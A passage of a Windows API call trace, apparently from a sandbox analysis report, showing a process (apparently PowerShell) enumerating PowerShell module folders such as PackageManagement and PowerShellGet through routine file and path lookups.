lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0157.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0157.674] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x5bde0c0 | out: lpFindFileData=0x5bde0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde068) returned 1 [0157.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde2c8) returned 1 [0157.674] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bde1c4, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0157.674] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bde1b4, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0157.677] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0157.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0157.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0157.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.679] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.679] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0157.679] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0157.679] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.679] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.679] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0157.679] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0157.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0157.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0157.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0157.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0157.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0157.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0157.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0157.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0157.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0157.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0157.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.682] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.682] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.682] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.682] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0157.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0157.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde094) returned 1 [0157.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde358 | out: lpFileInformation=0x5bde358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde090) returned 1 [0157.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0157.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0157.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0157.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0157.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0b8) returned 1 [0157.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2225088 | out: lpFileInformation=0x2225088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b4) returned 1 [0157.683] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0157.683] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0157.683] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0157.683] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0157.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0157.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0157.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0157.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0157.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.684] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.684] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.685] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.685] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0157.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde094) returned 1 [0157.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde358 | out: lpFileInformation=0x5bde358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0157.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde090) returned 1 [0157.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0157.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0157.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0b8) returned 1 [0157.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22265f8 | out: lpFileInformation=0x22265f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0157.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b4) returned 1 [0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0157.690] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0157.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0157.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0157.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0157.697] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.697] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.697] FindNextFileW (in: hFindFile=0x5f63960, 